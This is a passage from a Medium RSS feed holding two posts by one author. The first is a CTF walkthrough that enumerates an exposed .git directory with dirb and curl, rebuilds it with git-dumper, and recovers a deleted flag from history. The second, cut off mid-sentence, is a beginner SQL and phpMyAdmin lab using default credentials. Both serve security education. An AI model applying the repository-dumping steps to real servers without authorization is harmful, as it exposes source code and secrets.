<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nidhindev on Medium]]></title>
        <description><![CDATA[Stories by Nidhindev on Medium]]></description>
        <link>https://medium.com/@nidhindev362?source=rss-14558bf2a795------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Jch6113tX6NqmOZ_</url>
            <title>Stories by Nidhindev on Medium</title>
            <link>https://medium.com/@nidhindev362?source=rss-14558bf2a795------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 15:18:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nidhindev362/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Web security / sensitive_data_exposure]]></title>
            <link>https://medium.com/@nidhindev362/web-security-sensitive-data-exposure-5b28e5035ae9?source=rss-14558bf2a795------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b28e5035ae9</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Nidhindev]]></dc:creator>
            <pubDate>Mon, 21 Sep 2026 15:22:18 GMT</pubDate>
            <atom:updated>2026-09-21T15:32:23.803Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m9iE-pr5NEcBByqOwcjFpg.png" /></figure><h3>Sensitive Data Exposure Through an Exposed Git Repository</h3><p>During this CTF challenge, I encountered a web application that was unintentionally exposing its Git repository through the web server. At first, the application appeared to be a normal web page, but directory enumeration revealed that the .git directory was accessible remotely.</p><p>An exposed .git directory can be a serious security issue because Git repositories contain much more than the files currently visible on a website. Repository history can preserve deleted files, previous versions of source code, configuration data, credentials, and other sensitive information.</p><p>In this walkthrough, I will demonstrate how I identified the exposed Git repository, confirmed that its metadata was accessible, reconstructed the repository locally using git-dumper, and analyzed its commit history. The investigation ultimately showed that a sensitive file had been deleted from the latest version but was still recoverable from an earlier Git commit.</p><p>This challenge demonstrates an important security lesson: <strong>removing sensitive information from the current version of a repository does not necessarily remove it from Git history.</strong></p><h3>DIRB Enumeration</h3><pre>dirb http://ctf-nidhindevd-sensitive-data-exposure-39e18379.challenges.pentestgarage.com/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*D3pwX92Cvc7UWUdvXWSOig.png" /></figure><p><strong>Why this command was used:</strong><br>DIRB was used to perform <strong>directory and file enumeration</strong> against the target. It checks common paths from a wordlist to identify potentially exposed files and directories.</p><p><strong>Important output:</strong></p><pre>WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt<br>GENERATED WORDS: 4612</pre><pre>+ <a href="http://.../.git/HEAD">http://.../.git/HEAD</a> (CODE:200|SIZE:23)</pre><p><strong>What the output means:</strong><br>DIRB discovered the /.git/HEAD file and received an <strong>HTTP 200 OK</strong> response. This indicates that the target&#39;s <strong>Git repository metadata is publicly accessible</strong>, which can potentially expose source code, commit history, and previously committed sensitive information.</p><h3>Inspecting .git/HEAD</h3><pre>curl -i http://ctf-nidhindevd-sensitive-data-exposure-39e18379.challenges.pentestgarage.com/.git/HEAD</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*vKDF23Co3Sio62sMDqLnQg.png" /></figure><p><strong>Why this command was used:</strong><br>After DIRB identified /.git/HEAD, curl was used to directly inspect the file and confirm whether Git repository metadata was actually accessible.</p><p><strong>Important output:</strong></p><pre>HTTP/1.1 200 OK<br>Content-Type: application/octet-stream<br>Content-Length: 23</pre><pre>ref: refs/heads/master</pre><p><strong>What the output tells us:</strong><br>The 200 OK response confirms that the .git/HEAD file is accessible from the web server. Its contents show that the repository&#39;s current branch is master.</p><p>This confirms that the target has an <strong>exposed </strong><strong>.git directory</strong>, which may allow retrieval of repository information such as commits, source code, and potentially sensitive data that was previously committed.</p><h3>Retrieving the Master Branch Commit</h3><pre>curl -s http://ctf-nidhindevd-sensitive-data-exposure-39e18379.challenges.pentestgarage.com/.git/refs/heads/master</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*fu5aHlg1_CQnkuy4fo41eQ.png" /></figure><p><strong>Why this command was used:</strong><br>After confirming that the .git directory was exposed, this command was used to retrieve the reference for the master branch. The response gives the <strong>current commit hash</strong> associated with that branch.</p><p><strong>Output:</strong></p><pre>270c9d06a04abae4ffcc10250f2c04054bf732be</pre><p><strong>What the output tells us:</strong><br>The 40-character value is a <strong>Git commit SHA-1 hash</strong>. It identifies the commit currently pointed to by the master branch.</p><p>This gives us a specific commit object to investigate and confirms that Git repository data can be accessed remotely.</p><h3>Retrieving the Git Object</h3><pre>curl -s http://ctf-nidhindevd-sensitive-data-exposure-39e18379.challenges.pentestgarage.com/.git/objects/27/0c9d06a04abae4</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wbza_PiAeXjy5_9e3Lufmg.png" /></figure><p><strong>Why this command was used:</strong><br>The previous command revealed the commit hash:</p><pre>270c9d06a04abae4ffcc10250f2c04054bf732be</pre><p>Git stores objects using the first two characters as the directory name and the remaining characters as the filename. Therefore:</p><pre>.git/objects/27/0c9d06a04abae4ffcc10250f2c04054bf732be</pre><p>was requested from the server.</p><p><strong>What the output tells us:</strong><br>The server returned binary/compressed data rather than normal readable text. This is expected because Git objects are stored in a compressed binary format.</p><p>The important point is that the <strong>raw Git object itself is accessible through the exposed </strong><strong>.git directory</strong>. The object needs to be decompressed and interpreted according to Git&#39;s object format to determine whether it is a commit, tree, or other object.</p><h3>Installing git-dumper</h3><pre>pipx install git-dumper</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*Okd4Iwo1q1J8zMPBqMak0A.png" /></figure><p><strong>Why this command was used:</strong><br>git-dumper is used to <strong>download/reconstruct an exposed Git repository</strong> from a web server. Since the target&#39;s .git directory was confirmed to be publicly accessible, this tool can automate the process of retrieving the available Git metadata and objects.</p><p>pipx installs the Python application in an isolated environment while making the git-dumper command available system-wide.</p><p><strong>Output:</strong></p><pre>installed package git-dumper 1.0.9<br>These apps are now available<br>    - git-dumper<br>done!</pre><p><strong>What the output tells us:</strong><br>The installation completed successfully, and version <strong>1.0.9</strong> of git-dumper is now available as a command.</p><h3>Dumping the Exposed Git Repository</h3><pre>git-dumper http://ctf-nidhindevd-sensitive-data-exposure-39e18379.challenges.pentestgarage.com/ ~/dumped</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9dVsVprCr-oIzppcex6FPg.png" /></figure><p><strong>Why this command was used:</strong><br>After confirming that the .git directory was exposed, git-dumper was used to <strong>download the accessible Git repository data and reconstruct it locally</strong> in ~/dumped.</p><p><strong>Important parts of the output:</strong></p><pre>Testing .../.git/HEAD [200]<br>Fetching common files<br>Fetching .../.git/description [200]<br>Fetching .../.git/index [200]<br>Fetching .../.git/config [200]<br>Fetching .../.git/logs/HEAD [200]<br>Fetching .../.git/logs/refs/heads/master [200]</pre><p>The tool also successfully retrieved several Git objects:</p><pre>.git/objects/b2/b83664f8673ac39c1f2a55e8ca837a2ae333c4 [200]<br>.git/objects/60/9f9f9bcabecd76cf99b0f01af5580f1f3d76e9 [200]<br>.git/objects/27/0c9d06a04abae4ffcc10250f2c04054bf732be [200]<br>.git/objects/a3/cb0d835d84292277e97e82807366b7e7285ab2 [200]<br>.git/objects/fd/4589d2d258aa20374497306e398aa2b157a7dc [200]<br>.git/objects/ac/bf8768602df6ae97586038818995405083a624 [200]</pre><p>Finally:</p><pre>Running git checkout .</pre><p><strong>What the output tells us:</strong><br>The dump was able to retrieve the exposed Git metadata, references, logs, and multiple Git objects. The master reference was successfully found, while several other common branches returned 404, meaning they were not present or accessible.</p><p>The final git checkout . indicates that git-dumper reconstructed the retrieved repository contents into the local ~/dumped directory.</p><h3>Inspecting the Dumped Repository</h3><pre>cd ~/dumped<br>ls -la</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*kBgQF9fuoFUhRoQBgwtFJw.png" /></figure><p><strong>Why this command was used:</strong><br>After git-dumper reconstructed the repository, I changed into the ~/dumped directory and used ls -la to inspect the recovered files, including hidden files and directories.</p><p><strong>Output:</strong></p><pre>total 16<br>drwxrwxr-x  3 kadhalan kadhalan 4096 Sep 21 20:27 .<br>drwx------ 38 kadhalan kadhalan 4096 Sep 21 20:27 ..<br>drwxrwxr-x  7 kadhalan kadhalan 4096 Sep 21 20:27 .git<br>-rw-rw-r--  1 kadhalan kadhalan  739 Sep 21 20:27 index.html</pre><p><strong>What the output tells us:</strong><br>The recovered directory contains:</p><ul><li>.git/ — the reconstructed Git repository metadata.</li><li>index.html — the application&#39;s main HTML file.</li><li>No other visible application files are present in the current working tree.</li></ul><p>The presence of .git confirms that the repository was successfully reconstructed locally.</p><h3>Reviewing the Git Commit History</h3><pre>git log --oneline --all --decorate</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*ZtC8D-phpBIGKonB6CS7lQ.png" /></figure><p><strong>Why this command was used:</strong><br>This command was used to inspect the <strong>Git commit history</strong> of the recovered repository. The --oneline option displays each commit in a compact format, while --all includes all available references and --decorate shows branch and HEAD information.</p><p><strong>Output:</strong></p><pre>270c9d0 (HEAD -&gt; master) removed sensitive data leak<br>b2b8366 initial commit</pre><p><strong>What the output tells us:</strong></p><p>There are two commits in the repository:</p><ul><li>b2b8366 — initial commit</li><li>270c9d0 — removed sensitive data leak</li></ul><p>The current master branch (HEAD) points to 270c9d0.</p><p>The commit message <strong>“removed sensitive data leak”</strong> is particularly interesting because it suggests that sensitive information may have existed in an earlier version of the project. Even though the current working tree may no longer contain it, Git history can still preserve the older version.</p><h3>Inspecting the Initial Commit</h3><pre>git show --stat b2b8366</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*4N4oRJiiyIkSVRybRgNePA.png" /></figure><p><strong>Why this command was used:</strong><br>This command was used to inspect the <strong>summary of changes introduced by the initial commit</strong> without displaying the full contents of the files.</p><p>The --stat option provides a summary showing which files were added or modified and how many lines were changed.</p><p><strong>Output:</strong></p><pre>commit b2b83664f8673ac39c1f2a55e8ca837a2ae333c4<br>Author: mishrasunny174 &lt;mishrasunny174@gmail.com&gt;<br>Date:   Tue Mar 2 09:07:55 2021 +0530</pre><pre>    initial commit</pre><pre> flag.txt   |  1 +<br> index.html | 22 ++++++++++++++++++++++<br> 2 files changed, 23 insertions(+)</pre><p><strong>What the output tells us:</strong></p><p>The initial commit contains <strong>two files</strong>:</p><ul><li>index.html — 22 lines were added.</li><li>flag.txt — 1 line was added.</li></ul><p>The important discovery here is flag.txt. It existed in the <strong>initial commit</strong>, even though it was not present in the current working tree.</p><p>This is significant because the later commit was explicitly named <strong>“removed sensitive data leak”</strong>. The next logical step is to inspect the contents of the initial commit, particularly flag.txt.</p><h3>Recovering the Deleted Sensitive File</h3><pre>git diff b2b8366 270c9d0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*lOuG0bQARgudEilPgFtFnA.png" /></figure><p><strong>Why this command was used:</strong><br>This command compares the <strong>initial commit</strong> (b2b8366) with the <strong>latest commit</strong> (270c9d0) to identify what changed between them.</p><p><strong>Output:</strong></p><pre>diff --git a/flag.txt b/flag.txt<br>deleted file mode 100644<br>index acbf876..0000000<br>--- a/flag.txt<br>+++ /dev/null<br>@@ -1 +0,0 @@<br>-ctf{k33ping_g!t_rep0sit0ry_0n_w3bs!ites_lead5_t0_information_l3ak}</pre><p><strong>What the output tells us:</strong></p><p>The diff clearly shows that flag.txt was <strong>deleted</strong> in the newer commit.</p><p>The - before the final line indicates that the line existed in the older commit but was removed in the newer one. This demonstrates the key issue: <strong>deleting a sensitive file from the latest version does not remove it from Git history</strong>.</p><p>The deleted file contained the challenge flag:</p><pre>ctf{k33ping_g!t_rep0sit0ry_0n_w3bs!ites_lead5_t0_information_l3ak}</pre><h3>Conclusion</h3><p>This challenge demonstrated how an exposed Git repository can lead to sensitive information disclosure. By performing directory enumeration, I discovered that the .git directory was publicly accessible. I then confirmed the exposure, retrieved the Git repository using git-dumper, and examined its commit history.</p><p>The latest commit had removed flag.txt, but the file was still preserved in an earlier commit. By comparing the commits with git diff, I was able to recover the deleted information.</p><p>The key takeaway is that <strong>sensitive information should never be committed to a Git repository in the first place</strong>. Simply deleting a file in a later commit does not remove it from the repository’s history. Additionally, the .git directory should never be publicly accessible from a production web server.</p><p>Proper repository management, secret scanning, history cleanup when necessary, and appropriate web-server configuration can help prevent this type of sensitive data exposure.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b28e5035ae9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Basics]]></title>
            <link>https://medium.com/@nidhindev362/sql-basics-dd80a74807cb?source=rss-14558bf2a795------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd80a74807cb</guid>
            <category><![CDATA[database-management]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mysql]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Nidhindev]]></dc:creator>
            <pubDate>Mon, 14 Sep 2026 10:34:13 GMT</pubDate>
            <atom:updated>2026-09-14T10:34:13.467Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3KjodcfIkg-k0-nTxlCakw.png" /></figure><h3>About the Lab</h3><p>In this exercise, we will explore the basics of <strong>SQL queries</strong> and learn how to interact with databases using commonly used SQL statements.</p><p>The lab covers:</p><ul><li>SELECT</li><li>CREATE</li><li>INSERT</li><li>UPDATE</li><li>UNION</li><li>JOIN</li></ul><p>These queries demonstrate how to retrieve, create, modify, combine, and relate data within a database.</p><h3>Login to the Application</h3><p>Use the provided credentials to access the application:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*SuZHPLxQVjv3eM5lre55TA.png" /></figure><pre>Username: admin<br>Password: admin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-0XcDOFcySU4rdYv5CE8Tw.png" /></figure><p>Enter the credentials in the login form and proceed to the application.</p><h3>Step 1: Inspect the Database</h3><p>Expand the <strong>Databases</strong> section in the left panel and select any table under the wpdatabase database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/285/1*MqOjL1MhjQLRUP-3nmWGfA.png" /></figure><p>The selected table’s details and structure will be displayed in the <strong>Properties</strong> tab, allowing you to inspect its database information.</p><h3>Step 2: View the Table Definition</h3><p>Click on the <strong>DDL</strong> tab to view the Data Definition Language statement for the selected table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*skfYPCnE8F1r2NBBEy5L_Q.png" /></figure><p>The DDL tab displays the table’s definition, including its columns, data types, and other structural information.</p><h3>Step 3: Inspect the wp_commentmeta Table</h3><p>Expand the <strong>wp_commentmeta</strong> table and its child tree from the left panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*V_KWxoGm6T_w4oxP2wG85A.png" /></figure><p>The table structure can be explored to view details such as:</p><ul><li>Columns</li><li>Primary keys</li><li>Foreign keys</li><li>Indexes</li></ul><p>This provides an overview of how the table is structured and how its data is organized.</p><h3>Step 4: Inspect Column Details</h3><p>Expand the <strong>Columns</strong> section of the wp_commentmeta table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*dNXEgUkFSHseT5Mb3ytYyQ.png" /></figure><p>The available columns and their <strong>data types and properties</strong> are displayed, providing details about how each field is defined in the table.</p><h3>Getting Started with Basic SQL Queries</h3><h3>Task 1: Identify the Databases</h3><p>To list all databases available on the system, use the SHOW DATABASES statement.</p><p><strong>Query:</strong></p><pre>SHOW DATABASES;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*Vlt3zePihr__S9slS4oMfw.png" /></figure><p>This displays the databases currently available on the SQL server.</p><h3>Task 2: Select a Database</h3><p>Use the USE statement to select the wpdatabase database for subsequent queries.</p><p><strong>Query:</strong></p><pre>USE wpdatabase;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*ghM7-hrf95Cb8f6kvC3KHg.png" /></figure><p>This sets wpdatabase as the current database.</p><h3>Task 3: List Tables in the Database</h3><p>Use the SHOW TABLES statement to display all tables available in the currently selected database.</p><p><strong>Query:</strong></p><pre>SHOW TABLES;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*1FEOqdb-k2sk1DqyhxJW_g.png" /></figure><p>This lists all tables present in the wpdatabase database.</p><h3>Task 4: Retrieve Data from a Table</h3><p>Use the SELECT statement to retrieve all records and columns from the wp_users table.</p><p><strong>Query:</strong></p><pre>SELECT * FROM wp_users;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*ETy3fCNnHu7DXWG1-bPvmA.png" /></figure><p>This displays all available data stored in the wp_users table.</p><h3>Task 5: Retrieve Specific Columns</h3><p>Instead of retrieving all columns, you can specify the columns you want to display using the SELECT statement.</p><p><strong>Query:</strong></p><pre>SELECT user_login, user_pass FROM wp_users;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*NC3ExHrEj1ikhzH4oziUSg.png" /></figure><p>This query retrieves only the <strong>user_login</strong> and <strong>user_pass</strong> columns from the wp_users table.</p><h3>Task 6: Retrieve Data by Specifying the Database</h3><p>You can directly reference a table from a specific database using the database.table format.</p><p><strong>Query:</strong></p><pre>SELECT * FROM wpdatabase.wp_posts;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F7WtxCcNOqDdI3bCL9tmeg.png" /></figure><p>This retrieves all columns and records from the wp_posts table in the wpdatabase database.</p><h3>Task 7: Sort Data by Post Title</h3><p>Use the ORDER BY clause to sort the retrieved records based on the post_title column.</p><p><strong>Query:</strong></p><pre>SELECT * FROM wpdatabase.wp_posts ORDER BY post_title;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JJHWsgDTQhUJNKE7K6iISQ.png" /></figure><p>This displays the records from wp_posts sorted by <strong>post_title</strong> in ascending order by default.</p><h3>Task 8: Retrieve the First Record</h3><p>Use the LIMIT clause to restrict the query result to a single record after sorting the data by post_title.</p><p><strong>Query:</strong></p><pre>SELECT * FROM wpdatabase.wp_posts ORDER BY post_title LIMIT 1;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3TJ0BegdKd7EQ4gCEVUMOw.png" /></figure><p>This returns the <strong>first record</strong> based on the ascending order of post_title.</p><h3>Task 9: Retrieve a Particular Row</h3><p>Use LIMIT with an offset to retrieve a specific row from the sorted results.</p><p><strong>Query:</strong></p><pre>SELECT * FROM wpdatabase.wp_posts ORDER BY post_title LIMIT 2,1;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EwZ9ulf_1KAR_rSbvGqc-g.png" /></figure><p>Here, 2 is the <strong>offset</strong>, which skips the first two rows, and 1 specifies that only one row should be returned. This retrieves the <strong>third row</strong> after sorting by post_title.</p><h3>Task 10: Create a New Table</h3><p>Create a new table named new_users with name, email, and id columns. The id column is defined as the <strong>primary key</strong>.</p><p><strong>Query:</strong></p><pre>CREATE TABLE new_users (<br>    name VARCHAR(100),<br>    email VARCHAR(100),<br>    id VARCHAR(100),<br>    PRIMARY KEY (id)<br>);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*4Kr2V_dBgPVAsCHvCbkKLQ.png" /></figure><p>This creates the new_users table with the specified columns and ensures that each id value is unique.</p><h3>Task 11: Insert a Row into the Table</h3><p>Use the INSERT INTO statement to add a new record to the new_users table.</p><p><strong>Query:</strong></p><pre>INSERT INTO wpdatabase.new_users<br>VALUES (&quot;Nidhin&quot;, &quot;Nidhin@Medium.com&quot;, &quot;pa-05678&quot;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*kByUxcnSk0GezsNLYypT_g.png" /></figure><p>This inserts a new row containing the <strong>name, email, and ID</strong> values into the new_users table.</p><h3>Task 12: Update a Record in the Table</h3><p>Use the UPDATE statement to modify an existing record in the new_users table.</p><p><strong>Query:</strong></p><pre>UPDATE wpdatabase.new_users<br>SET name = &quot;itx_nidhin&quot;<br>WHERE id = &quot;pa-05678&quot;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*P4D44qCSvjr_DraUPIE4-g.png" /></figure><p>This updates the name value of the record whose id is pa-05678.</p><h3>Task 13: Combine Records Using the UNION Statement</h3><p>The UNION operator combines the results of two SELECT queries into a single result set. Both queries must return the <strong>same number of columns</strong> with compatible data types.</p><p>First, inspect the columns of the wp_users table:</p><pre>DESC wpdatabase.wp_users;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*j-Q3ML67QhVO8KZp6ht5Dg.png" /></figure><p>Then inspect the columns of the new_users table:</p><pre>DESC wpdatabase.new_users;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*u3XKUw5dqPqpjWhCH-c2rA.png" /></figure><p>After identifying compatible columns, use:</p><pre>SELECT user_login, user_email<br>FROM wpdatabase.wp_users<br>UNION<br>SELECT name, email<br>FROM wpdatabase.new_users;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*wbO5P2pUsV8UrapSEG_xaA.png" /></figure><p>The results from both wp_users and new_users are combined and displayed as a <strong>single result set</strong>.</p><h3>Task 14: Retrieve Common Users Using JOIN</h3><p>Insert additional users into the new_users table:</p><pre>INSERT INTO wpdatabase.new_users<br>VALUES (&quot;admin&quot;, &quot;admin@admin.xyz&quot;, &quot;pa-02333&quot;);</pre><pre>INSERT INTO wpdatabase.new_users<br>VALUES (&quot;jimmy&quot;, &quot;jimmy@attackdefense.com&quot;, &quot;pa-02323&quot;);</pre><pre>INSERT INTO wpdatabase.new_users<br>VALUES (&quot;david&quot;, &quot;david@attackdefense.com&quot;, &quot;pa-02663&quot;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*h5OXOjqyJQ2IbKy_e86Lzg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*YVI-stxHcVEWdWPCXR2Qpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*_sDTTGevSjgpjAqV6yZsIw.png" /></figure><p>View the records in the table:</p><pre>SELECT * FROM wpdatabase.new_users;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*MMw6WFLCJ0dhuvZZL62Nsw.png" /></figure><p>To retrieve users with matching names in both wp_users and new_users, use a JOIN:</p><pre>SELECT *<br>FROM wpdatabase.wp_users<br>JOIN wpdatabase.new_users<br>ON wpdatabase.new_users.name = wpdatabase.wp_users.user_login;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0cm7S9fPV8hCfjYF0CcO0g.png" /></figure><p>The query matches user_login from wp_users with name from new_users and returns the corresponding columns from both tables.</p><h3>Task 15: Retrieve Specific Fields Using JOIN</h3><p>Use the JOIN statement to retrieve selected columns from both tables. The query displays user_login and user_pass from wp_users, along with the id from new_users.</p><p><strong>Query:</strong></p><pre>SELECT wpdatabase.wp_users.user_login,<br>       wpdatabase.wp_users.user_pass,<br>       wpdatabase.new_users.id<br>FROM wpdatabase.wp_users<br>JOIN wpdatabase.new_users<br>ON wpdatabase.new_users.name = wpdatabase.wp_users.user_login;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*fRsmpB83FfznBVZt0meNiQ.png" /></figure><p>The query returns the matching users along with their corresponding login, password, and ID values.</p><h3>Task 16: Use Aliases for Columns</h3><p>Use the AS keyword to assign aliases to the user_login and user_pass columns.</p><p><strong>Query:</strong></p><pre>SELECT user_login AS name,<br>       user_pass AS password<br>FROM wpdatabase.wp_users;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*IpW8EoZYMHyvW5xhV9DA2Q.png" /></figure><p>This displays user_login as <strong>name</strong> and user_pass as <strong>password</strong> in the query results, without changing the original column names in the database.</p><h3>Task 17: Identify Distinct Authors</h3><p>Use the DISTINCT keyword to retrieve unique author IDs from the post_author column in the wp_posts table.</p><p><strong>Query:</strong></p><pre>SELECT DISTINCT(post_author)<br>FROM wpdatabase.wp_posts;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*IEOspJRT_c8QhNlvbJxTGg.png" /></figure><p>The query returns only the unique author IDs associated with published posts. In this lab, <strong>only one author</strong> has published a post.</p><h3>Task 18: Count Posts</h3><p>Use the COUNT() aggregate function to determine the total number of records stored in the wp_posts table.</p><p><strong>Query:</strong></p><pre>SELECT COUNT(*)<br>FROM wpdatabase.wp_posts;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*ktjIN29UeO93zl1NDPseDw.png" /></figure><p>This returns the total number of rows present in the wp_posts table.</p><h3>Task 19: Retrieve Published Posts</h3><p>Use the WHERE clause to filter the records based on the post_status column.</p><p><strong>Query:</strong></p><pre>SELECT *<br>FROM wpdatabase.wp_posts<br>WHERE post_status = &#39;publish&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m8YfZxTBjZIiHOg-tnq0lA.png" /></figure><p>This query displays all posts whose status is set to <strong>publish</strong>.</p><h3>Task 20: Search Posts by Content</h3><p>Use the LIKE operator with wildcard characters to find posts containing the string wp:paragraph in the post_content column.</p><p><strong>Query:</strong></p><pre>SELECT *<br>FROM wpdatabase.wp_posts<br>WHERE post_content LIKE &#39;%wp:paragraph%&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fsplzjb8D_3hP7a7xVU77g.png" /></figure><p>This returns all posts whose content contains <strong>wp:paragraph</strong> anywhere within the post_content field.</p><h3>Task 21: Filter Posts Using Multiple Conditions</h3><p>Use the WHERE clause with the AND operator to retrieve posts that meet both conditions:</p><ul><li>post_status is set to publish</li><li>comment_status is set to closed</li></ul><p><strong>Query:</strong></p><pre>SELECT *<br>FROM wpdatabase.wp_posts<br>WHERE post_status = &quot;publish&quot;<br>AND comment_status = &quot;closed&quot;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZovFSb0UTyPxHL8RT-AJmg.png" /></figure><p>This returns only the posts that satisfy both conditions.</p><p>The table data can also be viewed in <strong>OmniDB</strong> by right-clicking the table and selecting <strong>Query data</strong>. OmniDB also provides options to <strong>edit tables, insert records, and update records</strong> through its interface.</p><h3>Getting Started with phpMyAdmin</h3><p>The next section of the lab focuses on using <strong>phpMyAdmin</strong> to interact with the database through a web-based interface.</p><p>The <strong>phpMyAdmin login page</strong> is provided as the starting point for accessing and managing the database.</p><p>Use the credentials provided in the challenge description to log in to <strong>phpMyAdmin</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*2UFSmKcVrh0xkouGxBmW9w.png" /></figure><pre>Username: root<br>Password: &lt;No Password&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S7Kr2nenIzQ_Geo7kEVcXA.png" /></figure><p>After successful authentication, the <strong>phpMyAdmin main dashboard</strong> is displayed, providing access to the available databases and database management features.</p><p>The available databases are displayed in the <strong>left panel</strong> of phpMyAdmin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*Kbm3ra7aSQgdOWj3IDmJcg.png" /></figure><p>Expand the <strong>wpdatabase</strong> database to view its tables and explore the available database structure.</p><p>All tables within the <strong>wpdatabase</strong> database are displayed after expanding the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/238/1*aQX5dTiLP8n8fIkHE7hY3w.png" /></figure><p>Expand the <strong>wp_users</strong> table to view its structure. The left panel displays information about the table&#39;s <strong>columns and indexes</strong>.</p><h3>View Available Databases</h3><p>Click on the <strong>Databases</strong> tab in phpMyAdmin.</p><p>The page displays a list of all databases available on the server, providing an overview of the database environment.</p><h3>View Tables in wpdatabase</h3><p>Click on the <strong>wpdatabase</strong> database from the database list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*FNsyunH_hv5iaBbUZMOmNg.png" /></figure><p>The tables contained within the wpdatabase database are displayed, allowing you to explore and manage the available tables.</p><h3>View Records in wp_users</h3><p>Click on the <strong>wp_users</strong> table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*VC40ryvmLPU1dwV23tACjA.png" /></figure><p>The records stored in the table are displayed on the web page, allowing you to view the available user data.</p><h3>View Table Structure</h3><p>Click on the <strong>Structure</strong> tab to view the structural information of the selected table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*F1H6uk8yDUYMWsZ4-1Brvg.png" /></figure><p>This displays details such as the <strong>columns, data types, indexes, and keys</strong> defined for the table.</p><h3>Execute SQL Queries Using the SQL Tab</h3><p>Click on the <strong>SQL</strong> tab in phpMyAdmin. This section allows you to execute SQL queries directly against the selected database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*x520G8M2g9FqtJnR-7QpBw.png" /></figure><p>The same SQL queries used earlier in the <strong>OmniDB SQL console</strong> can also be executed 